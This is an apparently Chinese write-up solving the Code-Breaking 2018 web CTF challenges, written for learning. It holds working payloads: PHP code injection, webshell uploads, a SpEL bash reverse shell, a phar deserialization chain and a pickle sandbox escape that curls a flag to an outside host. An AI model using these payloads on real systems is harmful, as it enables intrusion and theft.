CodeBreaking : https://code-breaking.com/
在线正则表达式匹配 : https://regex101.com/
根据已有的大佬们的 wp 对 code breaking 做的一个复现,很多内容都是第一次接触,对涉及到的知识点做些总结和拓展。
function
-
create_function 注入
-
源码
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
-
正则
/i
不区分大小写,/s
匹配任何不可见字符,包括空格,TAB,换行,/D
如果使用$
限制结尾字符,则不允许结尾有换行 -
preg_match('/^[a-z0-9_]*$/isD', $action)
匹配所有字母,数字和下划线开头的字符串 -
想通过 fuzz 找到字符串以达到 bypass 的目的
import requests url_start = 'http://192.168.233.132:8087/?action=' url_end = 'var_dump&arg=2' for i in range(1,256): i = chr(i).encode() para = i.hex() url = url_start + '%' + str(para) + url_end r = requests.get(url=url) # 不出现 error 且 不返回 index.php if (r.headers['Content-Length'] != '279') and ('error' not in r.text): print(para)
-
找到了
%5c
,即\
,可以让 var_dump 成功执行,ph 牛给了如下的解释。接下来就是 getshell 函数的寻找,要有两个参数且第二个参数可能会导致 RCEphp 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
-
不难发现函数 create_function,官方定义如图
-
以如下代码为例
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?>
第一行代码等价于
eval( function __lambda_func($a, $b){ return "ln($a) + ln($b) = " . log($a * $b); } )
-
本题就可以构造 payload :
action=\create_function&arg=return 'peri0d';}var_dump(scandir('../'));/*
,然后 readfile(flag) 即可相当于
eval( function __lambda_func($a, $b){ return 'peri0d';} var_dump(scandir('../')); /* } )
pcrewaf
-
PCRE 回溯次数限制绕过正则
-
源码
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); }
-
上传文件,使用正则判断是否含有 php 代码,正则
/i
不区分大小写,/s
匹配任何不可见字符,包括空格,TAB,换行。 -
如果不含有 php 代码,上传的文件会被保存,并在 http 中重定向到文件路径
-
常见的正则引擎有两种,DFA 和 NFA,php 中的 PCRE 库使用的是 NFA,
- DFA : 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
- NFA : 从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
-
假设待匹配字符串
<?php phpinfo();//aaaaa
匹配顺序如下图 : -
在第四步,由于匹配的是
.*
任意多个字符,所以匹配到最后 -
按照正则,在
.*
后面应该是[(`;?>]
,显然//aaaaa
不对,所以依次吐出这几个字符,即回溯,这里总共回溯了 8 次,回溯到;
时.*
匹配的是<?php phpinfo()
,后面的;
符合[(`;?>]
,所以匹配;
,然后正则最后的.*
匹配到最后 -
php 有一个回溯上限
backtrack_limit
,默认是 1000000。如果回溯上限超过 100 万那么 preg_match 返回 false ,既不是 1 也不是 0 ,这样就可以绕过了 -
对应 poc :
import requests from io import BytesIO url = 'http://192.168.233.132:8088/index.php' files = { 'file': BytesIO(b'<?php eval($_POST[shell]);//' + b'a'*1000000) } # 请求并禁止重定向 r = requests.post(url=url, files=files, allow_redirects=False) print(r.headers)
-
可以获取 shell 位置,连接即可
-
如下一个 waf :
<?php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection'); }
-
输入
UNION/*aaaaa*/SELECT
,这个正则表达式执行流程如下- 正则先匹配 UNION,然后
.+?
匹配 / - 由于是非贪婪匹配,匹配最短字符,所以只匹配到 / 就停止
- 接着
S
匹配 ,匹配失败,回溯,由.+?
匹配 ,成功 - 重复上一步,直到匹配结束
- 正则先匹配 UNION,然后
-
这里也可以利用回溯次数限制绕过正则
-
preg_match
返回的是匹配到的次数,如果匹配不到会返回 0 ,如果报错就会返回 false 。所以,对preg_match
来说,只要对返回结果有判断,就可以避免这样的问题
phpmagic
-
伪协议解码 base64 写入 shell
-
代码如下
<?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); if(!empty($_POST) && $domain){ $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; } endif; ?>
-
$_SERVER['REMOTE_ADDR']
获取浏览当前页面的用户的 IP 地址,在 data 下创建文件夹,用于存储 output -
$domain 和 $log 两个参数可控,$domain 用于 dig 命令,$log 用于将结果写入
-
在 php 中,只要是传 filename 的地方,都可以传协议流
-
思路就是 $log_name 处利用伪协议将 $output 处的字符串 base64 解码写入 webshell
-
$_SERVER['SERVER_NAME']
获取当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。这个值可以更改,由 HTTP Header 中的 Host 决定。 -
pathinfo()
函数过滤后缀名,但是,只要在后缀名后加上/.
,它就获取不到后缀名了,且可以正常写入.php
之中。php 在处理路径的时候,会递归删除掉路径中存在的/.
-
php 伪协议 base64 解码中,如果遇到不合规范的字符就直接跳过。base64 解码是按照 4 位解的,所以要只有传入 4 的倍数位字符串才能解码为正常字符串,且传入的 base64 不能以
==
结尾,==
出现在 base64 中间不符合规则,可能会无法解析 -
payload :
POST Host: php domain=YWFhYTw/cGhwIGV2YWwoJF9QT1NUWydzaGVsbCddKTsgLy8q&log=://filter/write=convert.base64-decode/resource=/var/www/html/data/daa6b8b28b2eda419112a887399ce9fc/shell.php/.
-
结果 :
phplimit
-
无参 RCE
-
代码如下 :
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
-
ciscn 2019 和 rctf 2018 的题目,统计一下这一题的解法,主要是 get_defined_vars() 和 session_id() 两个函数
-
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
,\W
匹配任意字母和数字,(?R)?
重复整个模式,?R
是 php 中的一种递归模式,合在一起类似于匹配x(y(z()))
样式的,且不能存在参数,输入?code=phpinfo();
可以查看 phpinfo 页面 -
在 rctf 2018 的题目中使用的是 apache 的容器,在本题使用 nginx 容器,都是考虑通过修改请求头信息来实现 RCE
-
在 apache 中可以使用
getallheaders()
获取所有头信息,而在 nginx 中可以使用get_defined_vars()
函数获取所有已定义的变量列表,然后就可以通过位置函数来操控数组 -
session_id()
可以获取 PHPSESSID,虽然 PHPSESSID 只允许字母数字和下划线出现,hex2bin
转换一下编码即可 -
几个 payload :
// 第一个 ?code=eval(hex2bin(session_id(session_start()))); // echo 'peri0d'; Cookie: PHPSESSID=6563686f2027706572693064273b //第二个 ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../')); //第三个 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
nodechr
-
js 的题目,关于 javascript 的大小写特性,两个函数 toLowerCase() 和 toLowerCase()
-
代码如下 :
// initial libraries const Koa = require('koa') const sqlite = require('sqlite') const fs = require('fs') const views = require('koa-views') const Router = require('koa-router') const send = require('koa-send') const bodyParser = require('koa-bodyparser') const session = require('koa-session') const isString = require('underscore').isString const basename = require('path').basename const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'})) async function main() { const app = new Koa() const router = new Router() const db = await sqlite.open(':memory:') await db.exec(`CREATE TABLE "main"."users" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "username" TEXT NOT NULL, "password" TEXT, CONSTRAINT "unique_username" UNIQUE ("username") )`) await db.exec(`CREATE TABLE "main"."flags" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "flag" TEXT NOT NULL )`) for (let user of config.users) { await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`) } await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`) router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source) app.use(views(__dirname + '/views', { map: { html: 'underscore' }, extension: 'html' })).use(bodyParser()).use(session(app)) app.use(router.routes()).use(router.allowedMethods()); app.keys = config.signed app.context.db = db app.context.router = router app.listen(3000) } function safeKeyword(keyword) { if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) { return keyword } return undefined } async function login(ctx, next) { if(ctx.method == 'POST') { let username = safeKeyword(ctx.request.body['username']) let password = safeKeyword(ctx.request.body['password']) let jump = ctx.router.url('login') if (username && password) { let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`) if (user) { ctx.session.user = user jump = ctx.router.url('admin') } } ctx.status = 303 ctx.redirect(jump) } else { await ctx.render('index') } } async function static(ctx, next) { await send(ctx, ctx.path) } async function admin(ctx, next) { if(!ctx.session.user) { ctx.status = 303 return ctx.redirect(ctx.router.url('login')) } await ctx.render('admin', { 'user': ctx.session.user }) } async function source(ctx, next) { await send(ctx, basename(__filename)) } main()
-
关键代码在于 safeKeyword() 函数,过滤了 union 和 select
function safeKeyword(keyword) { if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) { return keyword } return undefined }
-
p 牛在博客中提到过如下特性,但是也适用于 python 中,这样就可以绕过保护函数,达到注入的目的
" ı ".toUpperCase() == ' I '
" ſ ".toUpperCase() == ' S '
" K ".toLowerCase() == ' k '
-
payload :
POST username=peri0d&password=' un%C4%B1on %C5%BFelect 1,(%C5%BFelect flag from flags),3'
javacon
-
EI 表达式注入,http://rui0.cn/archives/1043
-
基础知识
-
目录结构如下
-
SpringBoot 框架,看了一下 Spring 表达式
public class HelloWorld { public static void main(String[] args) { //构造上下文:准备比如变量定义等等表达式运行需要的上下文数据 EvaluationContext context = new StandardEvaluationContext(); //创建解析器:提供SpelExpressionParser默认实现 ExpressionParser parser = new SpelExpressionParser(); //解析表达式:使用ExpressionParser来解析表达式为相应的Expression对象 Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)"); //设置上下文中的变量的值 context.setVariable("end", "!SpringEL"); //执行表达式,获取运行结果 String str = (String)expression.getValue(context); // the str=Hello World!SpringEL System.out.println("the str="+str); } }
-
先看配置文件
application.yml
,提供了一个黑名单和用户列表spring: thymeleaf: encoding: UTF-8 cache: false mode: HTML keywords: blacklist: - java.+lang - Runtime - exec.*\( user: username: admin password: admin rememberMeKey: c0dehack1nghere1
-
文件结构 :
-
SmallEvaluationContext.java
实现构造上下文的功能 -
ChallengeApplication.java
实现启动功能 -
Encryptor.java
实现AES
加解密 -
KeyworkProperties.java
实现黑名单 -
UserConfig.java
实现用户模型,其中的RememberMe
用到了Encryptor
-
MainController.java
控制程序的主要逻辑
-
-
主要看
MainController.java
中的代码,在login
功能处,如果勾选Remember me
就会返回一个加密之后的 cookie,然后跳转到hello.html
@PostMapping("/login") public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) { if (userConfig.getUsername().contentEquals(username) && userConfig.getPassword().contentEquals(password)) { session.setAttribute("username", username); if (isRemember != null && !isRemember.equals("")) { Cookie c = new Cookie("remember-me", userConfig.encryptRememberMe()); c.setMaxAge(60 * 60 * 24 * 30); response.addCookie(c); } return "redirect:/"; } return "redirect:/login-error"; }
-
对敏感信息
cookie
的操作如下,首先判断remember-me
是否存在,然后获取其值进行解密,直接将它赋值给username
,接下来就是使用getAdvanceValue()
这个自定义函数赋值给name
@GetMapping public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,HttpSession session,Model model) { if (rememberMeValue != null && !rememberMeValue.equals("")) { String username = userConfig.decryptRememberMe(rememberMeValue); if (username != null) { session.setAttribute("username", username); } } Object username = session.getAttribute("username"); if(username == null || username.toString().equals("")) { return "redirect:/login"; } model.addAttribute("name", getAdvanceValue(username.toString())); return "hello"; }
-
getAdvanceValue
函数如下,就是与黑名单匹配,如果匹配则抛出FORBIDDEN
,否则进行正常的 SpEL 解析private String getAdvanceValue(String val) { for (String keyword: keyworkProperties.getBlacklist()) { Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val); if (matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } } ParserContext parserContext = new TemplateParserContext(); Expression exp = parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); }
-
这里就是 SpEL 注入实现 RCE 了,在不指定
EvaluationContext
时,默认采用的是StandardEvaluationContext
,这里还进行了黑名单匹配,利用反射就可以绕过黑名单 -
在 JAVA 中,通过
java.lang.Runtime.getRuntime().exec(cmd)
来执行命令,这里可以利用反射写一个反弹 shell 来 getshell,构造 payload 如下 :#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.233.130/2333 0>&1"})}
-
加密之后修改 cookie 发送
import static net.mindview.util.Print.*; public class sss { public static void main(String[] args) { String x = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.233.130/2333 0>&1\"})}"; String y = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", x); print(y); } }
-
实现反弹 shell
lumenserial
-
寻找 POP 链,phar 反序列化,GitHub 给的 docker 环境好像有点问题
-
https://github.com/phith0n/code-breaking/blob/master/2018/lumenserial
-
首先看一下路由信息,当访问
/server/editor
时会调用App\Http\Controllers
的main
方法$router->get('/server/editor', 'EditorController@main'); $router->post('/server/editor', 'EditorController@main');
-
进入
EditorController.php
文件,存在doUploadImage
,doCatchimage
,doListImage
,doConfig
的功能。进入main
,从 url 获取 action 参数,如果 action 存在就执行这个函数,返回结果均为 json 格式public function main(Request $request) { $action = $request->query('action'); try { if (is_string($action) && method_exists($this, "do{$action}")) { return call_user_func([$this, "do{$action}"], $request); } else { throw new FileException('Method error'); } } catch (FileException $e) { return response()->json(['state' => $e->getMessage()]); } }
-
在
download
函数中,$url
未经过滤就传给了file_get_contents
,而$url
源自doCatchimage
中的$request->input($this->config['catcherFieldName'])
,查看配置文件/resources/editor/config.json
就可以知道其值为source
,也就是 url 中的 source 参数,然后就可以利用 phar 反序列化protected function doCatchimage(Request $request) { $sources = $request->input($this->config['catcherFieldName']); $rets = []; if ($sources) { foreach ($sources as $url) { $rets[] = $this->download($url); } } return response()->json([ 'state' => 'SUCCESS', 'list' => $rets ]); }
-
可以直接根据已有的 payload 构造反序列化 https://xz.aliyun.com/t/6059
-
exp :
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}
}
namespace {
$code = "<?php phpinfo(); exit; ?>";
$exps = new \Illuminate\Broadcasting\PendingBroadcast($code);
$p = new Phar('exp.phar', 0, 'exp.phar');
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($exps);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}
?>
picklecode
-
python 反序列化,Django 模板引擎沙箱
-
基础知识 : python 反序列化
-
通常代码审计先看配置文件,Django 配置文件
web/core/setting.py
,发现如下代码 :
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
-
一般默认的 Django 配置文件是不含这两项的,
SESSION_ENGINE
是用户 session 存储的位置,SESSION_SERIALIZER
是 session 存储的方式。用户的 session 先经过SESSION_SERIALIZER
处理成一个字符串后存储到SESSION_ENGINE
指定的位置。在这里,就是 session 使用 pickle 的序列化方法,经过签名后存储在 cookies 中,我们所不知道的就是签名的密钥 -
思路就是获取密钥,pickle 反序列化
-
阅读路由信息,首先会调用
views.RegistrationLoginView.as_view()
函数,进行登录或者注册之后,在views.index()
函数中直接将用户名拼接到模板中,也就是说这里存在着 SSTI 漏洞,那就可以利用它获取SECRET_KEY
@login_required
def index(request):
django_engine = engines['django']
template = django_engine.from_string('My name is ' + request.user.username)
return HttpResponse(template.render(None, request))
-
随意构造一个 username 为
{{user.password}}
可以看到一个加密后的密码,这就验证了 SSTI -
在
/template/registration/login.html
的csrf_token
处下个断点,可以看到有很多变量,其中有一部分是加载模板的时候传入的,还有一部分是 Django 自带的,可以在settings.py
中的templates
查看自带的变量
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
-
这里的
context_processors
就代表会向模板中注入的一些上下文。通常来说,request
、user
、和perms
都是默认存在的,但显然,settings
是不存在的,我们无法直接在模板中读取 settings 中的信息,包括密钥。Django 的模板引擎有一定限制,比如无法读取用下划线开头的属性 -
经过一番寻找,在
request.user.groups.source_field.opts.app_config.module.admin.settings
处发现SECRET_KEY
,那就可以构造 username 为request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY
即可获取签名密钥了zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm
-
接着就是 pickle 的反序列化了,其核心文件为
/core/serializer.py
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
-
其中设置了一个反序列化沙盒,禁用了
'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'
并且只允许调用 python 内置函数 -
但是
getattr
这个万金油函数没有被限制,那就可以使用builtins.getattr(builtins,'eval')
来获取eval
函数,这就相当于绕过了这个沙盒 -
首先执行
getattr
获取eval
函数,再执行eval
函数,这实际上是两步,而我们常用__reduce__
生成的序列化字符串,只能执行一个函数,这就产生矛盾了,所以就要放弃__reduce__
直接手写 pickle 代码 -
pickle 是一种堆栈语言,它没有变量名这个概念,pickle 的内容存储在 stack(栈) 和 memo(存储信息的列表) 中。首先将 payload
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
写进一个文件
import pickle
import os
class Person():
def __reduce__(self):
return (os.system, ('whoami',))
person = Person()
f = open('pickle','wb')
pickle.dump(person ,f, protocol = 0)
f.close()
-
执行
python -m pickletools pickle
对其分析,得到一堆操作指令(opcode) -
阅读源码可以获得所有的 opcodes
-
这段 pickle 代码所涉及到的部分符号意思如下 :
c : 引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是为什么要用getattr来获取对象)
p : 将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
( : 压入一个标志到栈中,表示元组的开始位置
V : 向栈中压入一个(unicode)字符串
t : 从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R : 从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
. : 表示整个程序结束
- 那么这段 pickle 就很容易懂了
00: c GLOBAL 'nt system' # 向栈顶压入 'nt.system' 这个可执行对象
11: p PUT 0 # 将这个对象存储到 memo 的第 0 个位置
14: ( MARK # 压入一个元组的开始标志
15: V UNICODE 'whoami' # 压入字符串'whoami'
23: p PUT 1 # 将这个字符串存储到 memo 的第 1 个位置
26: t TUPLE (MARK at 14) # 将由刚压入栈中的字符串弹出,再将由这个字符串组成的元组压入栈中
27: p PUT 2 # 将这个元组存储到 memo 的第 2 个位置
30: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,这里即为 'nt.system('whoami')' ,将结果压入栈中
31: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到 memo 的第 3 个位置
34: . STOP # 程序结束
- 简化为如下代码,memo 没有起到太大作用,但这段代码仍然可以执行命令
nt
system
(Vwhoami
tR.
- 接着开始写 pickle 代码
cbuiltins # 将 builtins 设为可执行对象
getattr # 获取 getattr 方法
(cbuiltins # 压入元组开始标志,并将 builtins 设为可执行对象
dict # 获取 dict 对象
S'get' # 压入字符串 'get'
tR(cbuiltins # 弹出 builtins.dict,get 并组成新的元组压入栈中。然后执行 builtins.getattr(builtins.dict,get) 得到 get 方法压入栈中。再压入元组标志,将 builtins 设为可执行对象
globals # 获取 builtins.globals
(tRS'builtins' # 压入元组标志,执行 builtins.globals,然后压入字符串 'builtins'
tRp1 # 执行 get(builtins),获取到 builtins 对象存储到 memo[1] 处
- python 代码
import pickle
import builtins
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
.'''
data = pickle.loads(data)
print(data)
# <module 'builtins' (built-in)>
- 然后利用这个没有限制的
builtins
对象获取危险函数,并执行,这就绕过了沙盒
cbuiltins # 将 builtins 设为可执行对象
getattr # 获取 getattr 方法
(g1 # 压入数组,压入上一步获取的 builtins 对象
S'eval' # 压入字符串 'eval'
tR(S'__import__("os").system("id")' # 获取到 eval 函数。将字符串 '__import__("os").system("id")' 压入
tR. # 执行 eval('__import__("os").system("id")')
-
上面都是绕过的分析,看一下本题有哪些可控点,考虑
SESSIONID
,接下来就看一下源码中对于它的操作 -
它使用的是
django.contrib.sessions.backends.signed_cookies
直接导入 -
python 代码
import pickle
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
.'''
data = restricted_loads(data)
print(data)
- 本题的 exp 如下,由于在同一个局域网就在物理机上写了一个接收的 php
from django.core import signing
import pickle
import builtins,io
import base64
import datetime
import json
import re
import time
import zlib
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl http://192.168.0.100/xss/xss.php?$(cat /flag_djang0_p1ckle | base64)")'
tR
.'''
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')
def pickle_exp(SECRET_KEY):
global data
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
SECRET_KEY = SECRET_KEY
# 根据SECRET_KEY进行Cookie的制造
session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
print(session)
if __name__ == '__main__':
SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
pickle_exp(SECRET_KEY)
-
xss.php
<?php $data = fopen("cookies.txt","a+"); foreach ($_GET as $key=>$value) { fwrite($data, $key.":".$value); fwrite($data, "\n"); } ?>
thejs
- JS 原型污染,没找到对应源码
- Node.js原型污染攻击的分析与利用
- 深入理解JavaScript Prototype污染攻击
- 一个题解